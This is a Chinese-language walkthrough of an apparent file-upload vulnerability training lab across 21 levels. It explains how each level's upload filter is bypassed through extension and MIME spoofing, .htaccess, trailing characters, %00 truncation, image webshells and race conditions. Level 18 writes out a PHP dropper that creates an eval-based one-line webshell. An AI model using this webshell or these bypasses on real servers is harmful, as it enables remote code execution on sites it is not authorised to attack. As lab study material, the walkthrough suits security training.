第1关
我们将我们的木马1.php上传
显示无法上传,那我们将木马文件格式改为可上传的.jpg,然后抓包,将文件再改回.php即可
在放包即可成功
我们去访问,输入参数能出现结果即可成功
第2关
先传php文件,抓包,发现包中有Content-Type标签,对文件的Content-Type进行修改,修改为“image/jpeg”,表示是“jpg”文件。
放行
测试连接
第3关
查看源码,发现他过滤了一些格式,那我们不用这些格式即可,比如说.php5
上传成功
第4关
查看源代码
很明显上关的办法不能用了,那么我们采用.htaccess绕过
第5关
这关是.user.ini绕过
第6关
查看源码,发现与之前相比少了强制转化小写,那我们可以试试大小写绕过
第7关
这关少了收尾去空,那我们就上传一个文件末尾带空格的,在Windows操作系统命名时, 空格 是不允许写⼊到结尾得,windows会⾃动将其删除掉。所以我们通过抓包来实现
在文件名后加个空格,放行即可
第8关
与之前相比少了删除文件名末尾的.,那我们在文件末尾加.试试,在Windows操作系统命名时, .是不允许写⼊到结尾得,windows会⾃动将其删除掉。所以我们通过抓包来实现
第9关
这关少了
去除字符串::$DATA
第10关
这关要绕过一下两点,利用这两点,我们抓包绕过
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = trim($file_ext); //首尾去空
我们创建一个.php. .就可以绕过
第11关
这关暂时没看出什么,那我们先试试正常上传
上传成功,但我们查看时,发现把我们的php删掉了,那我们试试双写能不能绕过
第12关
这关采用%00截断绕过
第13关
第14关
何为图片马,即图片里包含木马
第15关
与14关一样
第16关
与14关一样
第17关
与14关一样
第18关
这个源代码的意思是只接受图片,其他文件可以传,但是会检测,检测如果不是图片就会被删除,那么我们就可以用bp攻击,因为他会检测我们上传的文件,如果我们上传的文件内容是创建一个php文件,那这个文件并不是我们上传的,而是生成的,则不会被删除,我们创建一个6.php,内容:<?php fputs(fopen('webshell.php' , 'w'), '<?php @eval($_POST["cmd"])?>');?> 这个代码的意思是,我们运行6.php是,会创建一个webshell.php,这个php的内容为一句话木马
此时我们可以看到我们的上传目录是空的,我们现在去上传6.php
抓包发送至攻击器,让他一直去上传
然后我们再去访问6.php
将他也抓包,发送至攻击器,让他一直访问
这时我们在看上传目录,就有了webshell.php
第19关
与18关一样
第20关
这关采用之前的图片马或截断都可以做
第21关
(这里我们可以定义一个数组,利用如下代码构造数组来绕过)
.$file_name = reset($file) . '.' . $file[count($file) - 1];
正常上传一句话(这里需要将一句话改成图片文件来绕过MIME校验)
抓取数据包,构造数组如下成功上传
Q&A
Q:为何这里使用数组save_name[2]那
A:由后台站点代码可知:
$file_name = reset($file) . '.' . $file[count($file) - 1];
count(file)=2
$file[count(file)-1]=1,而
$file[1]为空,所以
$file_name=upload-20.php